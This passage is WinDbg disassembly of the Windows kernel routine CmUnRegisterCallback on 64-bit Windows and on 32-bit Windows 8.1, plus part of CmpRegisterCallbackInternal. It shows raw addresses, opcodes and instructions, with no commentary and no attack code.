488bc8 mov rcx,raxfffff800`042b7999 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0hfffff800`042b799d 4883f910 cmp rcx,10hfffff800`042b79a1 7606 jbe nt!CmUnRegisterCallback+0x219 (fffff800`042b79a9)nt!CmUnRegisterCallback+0x213:fffff800`042b79a3 488d48f0 lea rcx,[rax-10h]fffff800`042b79a7 eb03 jmp nt!CmUnRegisterCallback+0x21c (fffff800`042b79ac)nt!CmUnRegisterCallback+0x219:fffff800`042b79a9 488bcb mov rcx,rbxnt!CmUnRegisterCallback+0x21c:fffff800`042b79ac a802 test al,2fffff800`042b79ae 750b jne nt!CmUnRegisterCallback+0x22b (fffff800`042b79bb)nt!CmUnRegisterCallback+0x220:fffff800`042b79b0 f0480fb10d2f68dcff lock cmpxchg qword ptr [nt!CallbackListLock (fffff800`0407e1e8)],rcxfffff800`042b79b9 740c je nt!CmUnRegisterCallback+0x237 (fffff800`042b79c7)nt!CmUnRegisterCallback+0x22b:fffff800`042b79bb 488d0d2668dcff lea rcx,[nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b79c2 e8a982b8ff call nt!ExfReleasePushLock (fffff800`03e3fc70)nt!CmUnRegisterCallback+0x237:fffff800`042b79c7 65488b142588010000 mov rdx,qword ptr gs:[188h]fffff800`042b79d0 b801000000 mov eax,1fffff800`042b79d5 660182c4010000 add word ptr [rdx+1C4h],axfffff800`042b79dc 7517 jne nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x24e:fffff800`042b79de 488d4a50 lea rcx,[rdx+50h]fffff800`042b79e2 483909 cmp qword ptr [rcx],rcxfffff800`042b79e5 740e je nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x257:fffff800`042b79e7 66399ac6010000 cmp word ptr [rdx+1C6h],bxfffff800`042b79ee 7505 jne nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x260:fffff800`042b79f0 e8bb5db7ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!CmUnRegisterCallback+0x265:fffff800`042b79f5 443be3 cmp r12d,ebxfffff800`042b79f8 7d08 jge nt!CmUnRegisterCallback+0x272 (fffff800`042b7a02)nt!CmUnRegisterCallback+0x26a:fffff800`042b79fa 418bc4 mov eax,r12dfffff800`042b79fd e9e5010000 jmp nt!CmUnRegisterCallback+0x457 (fffff800`042b7be7)nt!CmUnRegisterCallback+0x272:fffff800`042b7a02 488d442438 lea rax,[rsp+38h]fffff800`042b7a07 4889442440 mov qword ptr [rsp+40h],raxfffff800`042b7a0c 488d442438 lea rax,[rsp+38h]fffff800`042b7a11 4889442438 mov qword ptr [rsp+38h],raxfffff800`042b7a16 65488b042588010000 mov rax,qword ptr gs:[188h]fffff800`042b7a1f 664401b0c4010000 add word ptr [rax+1C4h],r14wfffff800`042b7a27 f0480fba2daf67dcff00 lock bts qword ptr [nt!ContextListLock (fffff800`0407e1e0)],0fffff800`042b7a31 730c jae nt!CmUnRegisterCallback+0x2af (fffff800`042b7a3f)nt!CmUnRegisterCallback+0x2a3:fffff800`042b7a33 488d0da667dcff lea rcx,[nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7a3a e881a8bbff call nt!ExfAcquirePushLockExclusive (fffff800`03e722c0)nt!CmUnRegisterCallback+0x2af:fffff800`042b7a3f 4c8d6f40 lea r13,[rdi+40h]fffff800`042b7a43 498b7500 mov rsi,qword ptr [r13]fffff800`042b7a47 493bf5 cmp rsi,r13fffff800`042b7a4a 745f je nt!CmUnRegisterCallback+0x31b (fffff800`042b7aab)nt!CmUnRegisterCallback+0x2bc:fffff800`042b7a4c 4c8b36 mov r14,qword ptr [rsi]fffff800`042b7a4f 488b4e20 mov rcx,qword ptr [rsi+20h]fffff800`042b7a53 e8a851beff call nt!ObReferenceObjectSafe (fffff800`03e9cc00)fffff800`042b7a58 3ac3 cmp al,blfffff800`042b7a5a 7438 je nt!CmUnRegisterCallback+0x304 (fffff800`042b7a94)nt!CmUnRegisterCallback+0x2cc:fffff800`042b7a5c 488b0e mov rcx,qword ptr [rsi]fffff800`042b7a5f 488b4608 mov rax,qword ptr [rsi+8]fffff800`042b7a63 488908 mov qword ptr [rax],rcxfffff800`042b7a66 48894108 mov qword ptr [rcx+8],raxfffff800`042b7a6a 488b4ef0 mov rcx,qword ptr [rsi-10h]fffff800`042b7a6e 488b46f8 mov rax,qword ptr [rsi-8]fffff800`042b7a72 488908 mov qword ptr [rax],rcxfffff800`042b7a75 48894108 mov qword ptr [rcx+8],raxfffff800`042b7a79 488b442440 mov rax,qword ptr [rsp+40h]fffff800`042b7a7e 488d4c2438 lea rcx,[rsp+38h]fffff800`042b7a83 48890e mov qword ptr [rsi],rcxfffff800`042b7a86 48894608 mov qword ptr [rsi+8],raxfffff800`042b7a8a 488930 mov qword ptr [rax],rsifffff800`042b7a8d 4889742440 mov qword ptr [rsp+40h],rsifffff800`042b7a92 eb03 jmp nt!CmUnRegisterCallback+0x307 (fffff800`042b7a97)nt!CmUnRegisterCallback+0x304:fffff800`042b7a94 448afb mov r15b,blnt!CmUnRegisterCallback+0x307:fffff800`042b7a97 498bf6 mov rsi,r14fffff800`042b7a9a 4d3bf5 cmp r14,r13fffff800`042b7a9d 75ad jne nt!CmUnRegisterCallback+0x2bc (fffff800`042b7a4c)nt!CmUnRegisterCallback+0x30f:fffff800`042b7a9f 4488bc24a8000000 mov byte ptr [rsp+0A8h],r15bfffff800`042b7aa7 4183ceff or r14d,0FFFFFFFFhnt!CmUnRegisterCallback+0x31b:fffff800`042b7aab 0f0d0d2e67dcff prefetchw [nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7ab2 488b052767dcff mov rax,qword ptr [nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7ab9 488bc8 mov rcx,raxfffff800`042b7abc 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0hfffff800`042b7ac0 4883f910 cmp rcx,10hfffff800`042b7ac4 7606 jbe nt!CmUnRegisterCallback+0x33c (fffff800`042b7acc)nt!CmUnRegisterCallback+0x336:fffff800`042b7ac6 488d48f0 lea rcx,[rax-10h]fffff800`042b7aca eb03 jmp nt!CmUnRegisterCallback+0x33f (fffff800`042b7acf)nt!CmUnRegisterCallback+0x33c:fffff800`042b7acc 488bcb mov rcx,rbxnt!CmUnRegisterCallback+0x33f:fffff800`042b7acf a802 test al,2fffff800`042b7ad1 750b jne nt!CmUnRegisterCallback+0x34e (fffff800`042b7ade)nt!CmUnRegisterCallback+0x343:fffff800`042b7ad3 f0480fb10d0467dcff lock cmpxchg qword ptr [nt!ContextListLock (fffff800`0407e1e0)],rcxfffff800`042b7adc 740c je nt!CmUnRegisterCallback+0x35a (fffff800`042b7aea)nt!CmUnRegisterCallback+0x34e:fffff800`042b7ade 488d0dfb66dcff lea rcx,[nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7ae5 e88681b8ff call nt!ExfReleasePushLock (fffff800`03e3fc70)nt!CmUnRegisterCallback+0x35a:fffff800`042b7aea 65488b0c2588010000 mov rcx,qword ptr gs:[188h]fffff800`042b7af3 b801000000 mov eax,1fffff800`042b7af8 660181c4010000 add word ptr [rcx+1C4h],axfffff800`042b7aff 7517 jne nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x371:fffff800`042b7b01 488d4150 lea rax,[rcx+50h]fffff800`042b7b05 483900 cmp qword ptr [rax],raxfffff800`042b7b08 740e je nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x37a:fffff800`042b7b0a 663999c6010000 cmp word ptr [rcx+1C6h],bxfffff800`042b7b11 7505 jne nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x383:fffff800`042b7b13 e8985cb7ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!CmUnRegisterCallback+0x388:fffff800`042b7b18 488d442438 lea rax,[rsp+38h]fffff800`042b7b1d 488b742438 mov rsi,qword ptr [rsp+38h]fffff800`042b7b22 483bf0 cmp rsi,raxfffff800`042b7b25 747a je nt!CmUnRegisterCallback+0x411 (fffff800`042b7ba1)nt!CmUnRegisterCallback+0x397:fffff800`042b7b27 488b06 mov rax,qword ptr [rsi]fffff800`042b7b2a 4889442438 mov qword ptr [rsp+38h],raxfffff800`042b7b2f 488d4c2438 lea rcx,[rsp+38h]fffff800`042b7b34 48894808 mov qword ptr [rax+8],rcxfffff800`042b7b38 4883c6f0 add rsi,0FFFFFFFFFFFFFFF0hfffff800`042b7b3c 4889742430 mov qword ptr [rsp+30h],rsifffff800`042b7b41 488b4630 mov rax,qword ptr [rsi+30h]fffff800`042b7b45 4889442448 mov qword ptr [rsp+48h],raxfffff800`042b7b4a 488b4638 mov rax,qword ptr [rsi+38h]fffff800`042b7b4e 4889442450 mov qword ptr [rsp+50h],raxfffff800`042b7b53 4c8d442448 lea r8,[rsp+48h]fffff800`042b7b58 ba28000000 mov edx,28hfffff800`042b7b5d 488b4f20 mov rcx,qword ptr [rdi+20h]fffff800`042b7b61 ff5728 call qword ptr [rdi+28h]fffff800`042b7b64 eb20 jmp nt!CmUnRegisterCallback+0x3f6 (fffff800`042b7b86)nt!CmUnRegisterCallback+0x3f6:fffff800`042b7b86 488b4e30 mov rcx,qword ptr [rsi+30h]fffff800`042b7b8a e8b128bdff call nt!ObfDereferenceObject (fffff800`03e8a440)fffff800`042b7b8f ba434d6363 mov edx,63634D43hfffff800`042b7b94 488bce mov rcx,rsifffff800`042b7b97 e8f441cfff call nt!ExFreePoolWithTag (fffff800`03fabd90)fffff800`042b7b9c e977ffffff jmp nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x411:fffff800`042b7ba1 443afb cmp r15b,blfffff800`042b7ba4 751c jne nt!CmUnRegisterCallback+0x432 (fffff800`042b7bc2)nt!CmUnRegisterCallback+0x416:fffff800`042b7ba6 488d7740 lea rsi,[rdi+40h]nt!CmUnRegisterCallback+0x41a:fffff800`042b7baa 483936 cmp qword ptr [rsi],rsifffff800`042b7bad 7413 je nt!CmUnRegisterCallback+0x432 (fffff800`042b7bc2)nt!CmUnRegisterCallback+0x41f:fffff800`042b7baf 4c8d8424b8000000 lea r8,[rsp+0B8h]fffff800`042b7bb7 33d2 xor edx,edxfffff800`042b7bb9 33c9 xor ecx,ecxfffff800`042b7bbb e85cf4bcff call nt!KeDelayExecutionThread (fffff800`03e8701c)fffff800`042b7bc0 ebe8 jmp nt!CmUnRegisterCallback+0x41a (fffff800`042b7baa)nt!CmUnRegisterCallback+0x432:fffff800`042b7bc2 f0440135ca12d5ff lock add dword ptr [nt!CmpCallBackCount (fffff800`04008e94)],r14dfffff800`042b7bca 488b4f38 mov rcx,qword ptr [rdi+38h]fffff800`042b7bce 483bcb cmp rcx,rbxfffff800`042b7bd1 7407 je nt!CmUnRegisterCallback+0x44a (fffff800`042b7bda)nt!CmUnRegisterCallback+0x443:fffff800`042b7bd3 33d2 xor edx,edxfffff800`042b7bd5 e8b641cfff call nt!ExFreePoolWithTag (fffff800`03fabd90)nt!CmUnRegisterCallback+0x44a:fffff800`042b7bda 33d2 xor edx,edxfffff800`042b7bdc 488bcf mov rcx,rdifffff800`042b7bdf e8ac41cfff call nt!ExFreePoolWithTag (fffff800`03fabd90)fffff800`042b7be4 418bc4 mov eax,r12dnt!CmUnRegisterCallback+0x457:fffff800`042b7be7 4883c460 add rsp,60hfffff800`042b7beb 415f pop r15fffff800`042b7bed 415e pop r14fffff800`042b7bef 415d pop r13fffff800`042b7bf1 415c pop r12fffff800`042b7bf3 5f pop rdifffff800`042b7bf4 5e pop rsifffff800`042b7bf5 5b pop rbxfffff800`042b7bf6 c3 ret
    Win8.1 32 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:8118a854 6a38 push 38h8118a856 68a84afe80 push offset nt!RtlpSparseBitmapCtxPrepareRanges+0x6429 (80fe4aa8)8118a85b e8183dd9ff call nt!_SEH_prolog4 (80f1e578)8118a860 c745d80d0000c0 mov dword ptr [ebp-28h],0C000000Dh8118a867 33db xor ebx,ebx8118a869 895db8 mov dword ptr [ebp-48h],ebx8118a86c 895dbc mov dword ptr [ebp-44h],ebx8118a86f 895dc0 mov dword ptr [ebp-40h],ebx8118a872 895dd0 mov dword ptr [ebp-30h],ebx8118a875 e8a4020000 call nt!CmpLockCallbackListExclusive (8118ab1e)8118a87a be00fb0081 mov esi,offset nt!CallbackListHead (8100fb00)nt!CmUnRegisterCallback+0x2b:8118a87f 53 push ebx8118a880 8d55d0 lea edx,[ebp-30h]8118a883 8bce mov ecx,esi8118a885 e81458f4ff call nt!CmListGetNextElement (810d009e)8118a88a 8bf8 mov edi,eax8118a88c 85ff test edi,edi8118a88e 897dd4 mov dword ptr [ebp-2Ch],edi8118a891 0f8409010000 je nt!CmUnRegisterCallback+0x14c (8118a9a0)nt!CmUnRegisterCallback+0x43:8118a897 ba00000080 mov edx,80000000h8118a89c 8b4f10 mov ecx,dword ptr [edi+10h]8118a89f 3b4d08 cmp ecx,dword ptr [ebp+8]8118a8a2 75db jne nt!CmUnRegisterCallback+0x2b (8118a87f)nt!CmUnRegisterCallback+0x50:8118a8a4 8b4714 mov eax,dword ptr [edi+14h]8118a8a7 3b450c cmp eax,dword ptr [ebp+0Ch]8118a8aa 75d3 jne nt!CmUnRegisterCallback+0x2b (8118a87f)nt!CmUnRegisterCallback+0x58:8118a8ac 8b4708 mov eax,dword ptr [edi+8]8118a8af 8945dc mov dword ptr [ebp-24h],eax8118a8b2 3bc3 cmp eax,ebx8118a8b4 0f8591000000 jne nt!CmUnRegisterCallback+0xf7 (8118a94b)nt!CmUnRegisterCallback+0x66:8118a8ba 8b0f mov ecx,dword ptr [edi]8118a8bc 8b4704 mov eax,dword ptr [edi+4]8118a8bf 397904 cmp dword ptr [ecx+4],edi8118a8c2 0f85e6000000 jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x74:8118a8c8 3938 cmp dword ptr [eax],edi8118a8ca 0f85de000000 jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x7c:8118a8d0 8908 mov dword ptr [eax],ecx8118a8d2 894104 mov dword ptr [ecx+4],eax8118a8d5 e8467befff call nt!CmpUnlockCallbackList (81082420)8118a8da 895dd8 mov dword ptr [ebp-28h],ebxnt!CmUnRegisterCallback+0x89:8118a8dd 8d45c4 lea eax,[ebp-3Ch]8118a8e0 8945c8 mov dword ptr [ebp-38h],eax8118a8e3 8945c4 mov dword ptr [ebp-3Ch],eax8118a8e6 885de3 mov byte ptr [ebp-1Dh],bl8118a8e9 e8f0020000 call nt!CmpLockContextListExclusive (8118abde)8118a8ee 8d4728 lea eax,[edi+28h]8118a8f1 8b30 mov esi,dword ptr [eax]8118a8f3 3bf0 cmp esi,eax8118a8f5 0f85c8d40800 jne nt! ?? ::NNGAKEGL::`string'+0x79759 (81217dc3)nt!CmUnRegisterCallback+0xa7:8118a8fb e86e020000 call nt!CmpUnlockContextList (8118ab6e)nt!CmUnRegisterCallback+0xac:8118a900 8d4dc4 lea ecx,[ebp-3Ch]8118a903 8b45c4 mov eax,dword ptr [ebp-3Ch]8118a906 3bc1 cmp eax,ecx8118a908 0f853fd50800 jne nt! ?? ::NNGAKEGL::`string'+0x797e3 (81217e4d)nt!CmUnRegisterCallback+0xba:8118a90e 807de300 cmp byte ptr [ebp-1Dh],08118a912 0f85aad50800 jne nt! ?? ::NNGAKEGL::`string'+0x79858 (81217ec2)nt!CmUnRegisterCallback+0xc4:8118a918 b9787eff80 mov ecx,offset nt!CmpCallBackCount (80ff7e78)8118a91d 83c8ff or eax,0FFFFFFFFh8118a920 f00fc101 lock xadd dword ptr [ecx],eax8118a924 48 dec eax8118a925 0f84d8d50800 je nt! ?? ::NNGAKEGL::`string'+0x79899 (81217f03)nt!CmUnRegisterCallback+0xd7:8118a92b 8b4724 mov eax,dword ptr [edi+24h]8118a92e 85c0 test eax,eax8118a930 7407 je nt!CmUnRegisterCallback+0xe5 (8118a939)nt!CmUnRegisterCallback+0xde:8118a932 53 push ebx8118a933 50 push eax8118a934 e8d7e6e5ff call nt!ExFreePoolWithTag (80fe9010)nt!CmUnRegisterCallback+0xe5:8118a939 53 push ebx8118a93a 57 push edi8118a93b e8d0e6e5ff call nt!ExFreePoolWithTag (80fe9010)nt!CmUnRegisterCallback+0xec:8118a940 8b45d8 mov eax,dword ptr [ebp-28h]8118a943 e8753cd9ff call nt!_SEH_epilog4 (80f1e5bd)8118a948 c20800 ret 8nt!CmUnRegisterCallback+0xf7:8118a94b 8555dc test dword ptr [ebp-24h],edx8118a94e 0f852bffffff jne nt!CmUnRegisterCallback+0x2b (8118a87f)nt!CmUnRegisterCallback+0x100:8118a954 8d7708 lea esi,[edi+8]8118a957 f00916 lock or dword ptr [esi],edx8118a95a e8c17aefff call nt!CmpUnlockCallbackList (81082420)8118a95f eb13 jmp nt!CmUnRegisterCallback+0x120 (8118a974)nt!CmUnRegisterCallback+0x10d:8118a961 53 push ebx8118a962 6a04 push 48118a964 8d45dc lea eax,[ebp-24h]8118a967 50 push eax8118a968 8bd6 mov edx,esi8118a96a b908fb0081 mov ecx,offset nt!CallbackListDeleteEvent (8100fb08)8118a96f e8e626caff call nt!ExBlockOnAddressPushLock (80e2d05a)nt!CmUnRegisterCallback+0x120:8118a974 8b06 mov eax,dword ptr [esi]8118a976 8945dc mov dword ptr [ebp-24h],eax8118a979 3d00000080 cmp eax,80000000h8118a97e 75e1 jne nt!CmUnRegisterCallback+0x10d (8118a961)nt!CmUnRegisterCallback+0x12c:8118a980 e899010000 call nt!CmpLockCallbackListExclusive (8118ab1e)8118a985 8b0f mov ecx,dword ptr [edi]8118a987 8b4704 mov eax,dword ptr [edi+4]8118a98a 397904 cmp dword ptr [ecx+4],edi8118a98d 751f jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x13b:8118a98f 3938 cmp dword ptr [eax],edi8118a991 751b jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x13f:8118a993 8908 mov dword ptr [eax],ecx8118a995 894104 mov dword ptr [ecx+4],eax8118a998 e8837aefff call nt!CmpUnlockCallbackList (81082420)8118a99d 895dd8 mov dword ptr [ebp-28h],ebxnt!CmUnRegisterCallback+0x14c:8118a9a0 395dd8 cmp dword ptr [ebp-28h],ebx8118a9a3 0f8d34ffffff jge nt!CmUnRegisterCallback+0x89 (8118a8dd)nt!CmUnRegisterCallback+0x155:8118a9a9 e90bd40800 jmp nt! ?? ::NNGAKEGL::`string'+0x7974f (81217db9)nt!CmUnRegisterCallback+0x15a:8118a9ae 6a03 push 38118a9b0 59 pop ecx8118a9b1 cd29 int 29h8118a9b3 cc int 38118a9b4 cc int 38118a9b5 cc int 38118a9b6 cc int 38118a9b7 cc int 38118a9b8 8bff mov edi,edi8118a9ba 55 push ebp8118a9bb 8bec mov ebp,esp8118a9bd 53 push ebx8118a9be 56 push esi8118a9bf 57 push edi8118a9c0 68434d6362 push 62634D43h8118a9c5 6a30 push 30h8118a9c7 6a01 push 18118a9c9 8bfa mov edi,edx8118a9cb 8bd9 mov ebx,ecx8118a9cd e8feefe5ff call nt!ExAllocatePoolWithTag (80fe99d0)8118a9d2 8bf0 mov esi,eax8118a9d4 85f6 test esi,esi8118a9d6 0f8449d50800 je nt! ?? ::NNGAKEGL::`string'+0x798bb (81217f25)nt!CmpRegisterCallbackInternal+0x24:8118a9dc 897604 mov dword ptr [esi+4],esi8118a9df 8d4628 lea eax,[esi+28h]8118a9e2 8936 mov dword ptr [esi],esi8118a9e4 894004 mov dword ptr [eax+4],eax8118a9e7 8900 mov dword ptr [eax],eax8118a9e9 897e18 mov dword ptr [esi+18h],edi8118a9ec 8b7d08 mov edi,dword ptr [ebp+8]8118a9ef c7460800000000 mov dword ptr [esi+8],08118a9f6 895e1c mov dword ptr [esi+1Ch],ebx8118a9f9 68434d6361 push 61634D43h8118a9fe 0fb707 movzx eax,word ptr [edi]8118aa01 66894622 mov word ptr [esi+22h],ax8118aa05 66894620 mov word ptr [esi+20h],ax8118aa09 0fb707 movzx eax,word ptr [edi]8118aa0c 50 push eax8118aa0d 6a01 push 18118aa0f e8bcefe5ff call nt!ExAllocatePoolWithTag (80fe99d0)8118aa14 8bc8 mov ecx,eax8118aa16 894e24 mov dword ptr [esi+24h],ecx8118aa19 85c9 test ecx,ecx8118aa1b 743b je nt!CmpRegisterCallbackInternal+0xa0 (8118aa58)nt!CmpRegisterCallbackInternal+0x65:8118aa1d 0fb707 movzx eax,word ptr [edi]8118aa20 50 push eax8118aa21 ff7704 push dword ptr [edi+4]8118aa24 51 push ecx8118aa25 e82678d8ff call nt!memcpy (80f12250)8118aa2a 8a550c mov dl,byte ptr [ebp+0Ch]8118aa2d 83c40c add esp,0Ch8118aa30 8bce mov ecx,esi8118aa32 e831000000 call nt!CmpInsertCallbackInListByAltitude (8118aa68)8118aa37 8b5510 mov edx,dword ptr [ebp+10h]8118aa3a 8bf8 mov edi,eax8118aa3c 8b4e10 mov ecx,dword ptr [esi+10h]8118aa3f 890a mov dword ptr [edx],ecx8118aa41 8b4e14 mov ecx,dword ptr [esi+14h]8118aa44 894a04 mov dword ptr [edx+4],ecx8118aa47 85ff test edi,edi8118aa49 0f88e0d40800 js nt! ?? ::NNGAKEGL::`string'+0x798c5 (81217f2f)nt!CmpRegisterCallbackInternal+0x97:8118aa4f 8bc7 mov eax,edint!CmpRegisterCallbackInternal+0x99:8118aa51 5f pop edi8118aa52 5e pop esi8118aa53 5b pop ebx8118aa54 5d pop ebp8118aa55 c20c00 ret 0Chnt!CmpRegisterCallbackInternal+0xa0:8118aa58 bf9a0000c0 mov edi,0C000009Ah8118aa5d e9cdd40800 jmp nt! ?? ::NNGAKEGL::`string'+0x798c5 (81217f2f)nt! ?? ::NNGAKEGL::`string'+0x7974f:81217db9 e862a6e6ff call nt!CmpUnlockCallbackList (81082420)81217dbe e97d2bf7ff jmp nt!CmUnRegisterCallback+0xec (8118a940)nt! ?? ::NNGAKEGL::`string'+0x79759:81217dc3 8b06 mov eax,dword ptr [esi]81217dc5 8945dc mov dword ptr [ebp-24h],eax81217dc8 8b4e14 mov ecx,dword ptr [esi+14h]81217dcb e83219c2ff call nt!ObReferenceObjectSafe (80e39702)81217dd0 84c0 test al,al81217dd2 7462 je nt! ?? ::NNGAKEGL::`string'+0x797cc (81217e36)nt! ?? ::NNGAKEGL::`string'+0x7976a:81217dd4 8d46f8 lea eax,[esi-8]81217dd7 8d4808 lea ecx,[eax+8]81217dda 8b11 mov edx,dword ptr [ecx]81217ddc 8955d0 mov dword ptr [ebp-30h],edx81217ddf 8b5104 mov edx,dword ptr [ecx+4]81217de2 8b7dd0 mov edi,dword ptr [ebp-30h]81217de5 394f04 cmp dword ptr [edi+4],ecx81217de8 8b7dd4 mov edi,dword ptr [ebp-2Ch]81217deb 0f85bd2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x79787:81217df1 390a cmp dword ptr [edx],ecx81217df3 0f85b52bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x7978f:81217df9 8b4dd0 mov ecx,dword ptr [ebp-30h]81217dfc 890a mov dword ptr [edx],ecx81217dfe 895104 mov dword ptr [ecx+4],edx81217e01 8b10 mov edx,dword ptr [eax]81217e03 8b4804 mov ecx,dword ptr [eax+4]81217e06 394204 cmp dword ptr [edx+4],eax81217e09 0f859f2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797a5:81217e0f 3901 cmp dword ptr [ecx],eax81217e11 0f85972bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797ad:81217e17 8911 mov dword ptr [ecx],edx81217e19 894a04 mov dword ptr [edx+4],ecx81217e1c 8b45c8 mov eax,dword ptr [ebp-38h]81217e1f 8d4dc4 lea ecx,[ebp-3Ch]81217e22 890e mov dword ptr [esi],ecx81217e24 894604 mov dword ptr [esi+4],eax81217e27 3908 cmp dword ptr [eax],ecx81217e29 0f857f2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797c5:81217e2f 8930 mov dword ptr [eax],esi81217e31 8975c8 mov dword ptr [ebp-38h],esi81217e34 eb04 jmp nt! ?? ::NNGAKEGL::`string'+0x797d0 (81217e3a)nt! ?? ::NNGAKEGL::`string'+0x797cc:81217e36 c645e301 mov byte ptr [ebp-1Dh],1nt! ?? ::NNGAKEGL::`string'+0x797d0:81217e3a 8b75dc mov esi,dword ptr [ebp-24h]81217e3d 8d4728 lea eax,[edi+28h]81217e40 3bf0 cmp esi,eax81217e42 0f857bffffff jne nt! ?? ::NNGAKEGL::`string'+0x79759 (81217dc3)nt! ?? ::NNGAKEGL::`string'+0x797de:81217e48 e9ae2af7ff jmp nt!CmUnRegisterCallback+0xa7 (8118a8fb)nt! ?? ::NNGAKEGL::`string'+0x797e3:81217e4d 8b08 mov ecx,dword ptr [eax]81217e4f 8d55c4 lea edx,[ebp-3Ch]81217e52 395004 cmp dword ptr [eax+4],edx81217e55 0f85532bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797f1:81217e5b 394104 cmp dword ptr [ecx+4],eax81217e5e 0f854a2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797fa:81217e64 894dc4 mov dword ptr [ebp-3Ch],ecx81217e67 895104 mov dword ptr [ecx+4],edx81217e6a 8d70f8 lea esi,[eax-8]81217e6d 8975d0 mov dword ptr [ebp-30h],esi81217e70 8b461c mov eax,dword ptr [esi+1Ch]81217e73 8945b8 mov dword ptr [ebp-48h],eax81217e76 8b4620 mov eax,dword ptr [esi+20h]81217e79 8945bc mov dword ptr [ebp-44h],eax81217e7c 895dfc mov dword ptr [ebp-4],ebx81217e7f 8d45b8 lea eax,[ebp-48h]81217e82 50 push eax81217e83 6a28 push 28h81217e85 ff7718 push dword ptr [edi+18h]81217e88 ff571c call dword ptr [edi+1Ch]81217e8b c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh81217e92 eb13 jmp nt! ?? ::NNGAKEGL::`string'+0x7983d (81217ea7)nt! ?? ::NNGAKEGL::`string'+0x7983d:81217ea7 8b75d0 mov esi,dword ptr [ebp-30h]81217eaa 8b4e1c mov ecx,dword ptr [esi+1Ch]81217ead e89ec3c3ff call nt!ObfDereferenceObject (80e54250)81217eb2 68434d6363 push 63634D43h81217eb7 56 push esi81217eb8 e85311ddff call nt!ExFreePoolWithTag (80fe9010)81217ebd e93e2af7ff jmp nt!CmUnRegisterCallback+0xac (8118a900)nt! ?? ::NNGAKEGL::`string'+0x79858:81217ec2 8d4728 lea eax,[edi+28h]81217ec5 8945d0 mov dword ptr [ebp-30h],eax81217ec8 8bf8 mov edi,eaxnt! ?? ::NNGAKEGL::`string'+0x79860:81217eca e80f2df7ff call nt!CmpLockContextListExclusive (8118abde)81217ecf 8b37 mov esi,dword ptr [edi]81217ed1 8975cc mov dword ptr [ebp-34h],esi81217ed4 e8952cf7ff call nt!CmpUnlockContextList (8118ab6e)81217ed9 3bf7 cmp esi,edi81217edb 7415 je nt! ?? ::NNGAKEGL::`string'+0x79888 (81217ef2)nt! ?? ::NNGAKEGL::`string'+0x79873:81217edd 53 push ebx81217ede 6a04 push 481217ee0 8d45cc lea eax,[ebp-34h]81217ee3 50 push eax81217ee4 8bd7 mov edx,edi81217ee6 b908fb0081 mov ecx,offset nt!CallbackListDeleteEvent (8100fb08)81217eeb e86a51c1ff call nt!ExBlockOnAddressPushLock (80e2d05a)81217ef0 eb03 jmp nt! ?? ::NNGAKEGL::`string'+0x7988b (81217ef5)nt! ?? ::NNGAKEGL::`string'+0x79888:81217ef2 885de3 mov byte ptr [ebp-1Dh],blnt! ?? ::NNGAKEGL::`string'+0x7988b:81217ef5 807de300 cmp byte ptr [ebp-1Dh],081217ef9 75cf jne nt! ?? ::NNGAKEGL::`string'+0x79860 (81217eca)nt! ?? ::NNGAKEGL::`string'+0x79891:81217efb 8b7dd4 mov edi,dword ptr [ebp-2Ch]81217efe e9152af7ff jmp nt!CmUnRegisterCallback+0xc4 (8118a918)nt! ?? ::NNGAKEGL::`string'+0x79899:81217f03 b918fb0081 mov ecx,offset nt!CmpCallbackContextSList (8100fb18)81217f08 e803c1d0ff call nt!ExInterlockedFlushSList (80f24010)81217f0d 8bf0 mov esi,eax81217f0f eb0b jmp nt! ?? ::NNGAKEGL::`string'+0x798b2 (81217f1c)nt! ?? ::NNGAKEGL::`string'+0x798a7:81217f11 8bce mov ecx,esi81217f13 8b36 mov esi,dword ptr [esi]81217f15 53 push ebx81217f16 51 push ecx81217f17 e8f410ddff call nt!ExFreePoolWithTag (80fe9010)nt! ?? ::NNGAKEGL::`string'+0x798b2:81217f1c 85f6 test esi,esi81217f1e 75f1 jne nt! ?? ::NNGAKEGL::`string'+0x798a7 (81217f11)nt! ?? ::NNGAKEGL::`string'+0x798b6:81217f20 e9062af7ff jmp nt!CmUnRegisterCallback+0xd7 (8118a92b)nt! ?? ::NNGAKEGL::`string'+0x798bb:81217f25 b89a0000c0 mov eax,0C000009Ah81217f2a e9222bf7ff jmp nt!CmpRegisterCallbackInternal+0x99 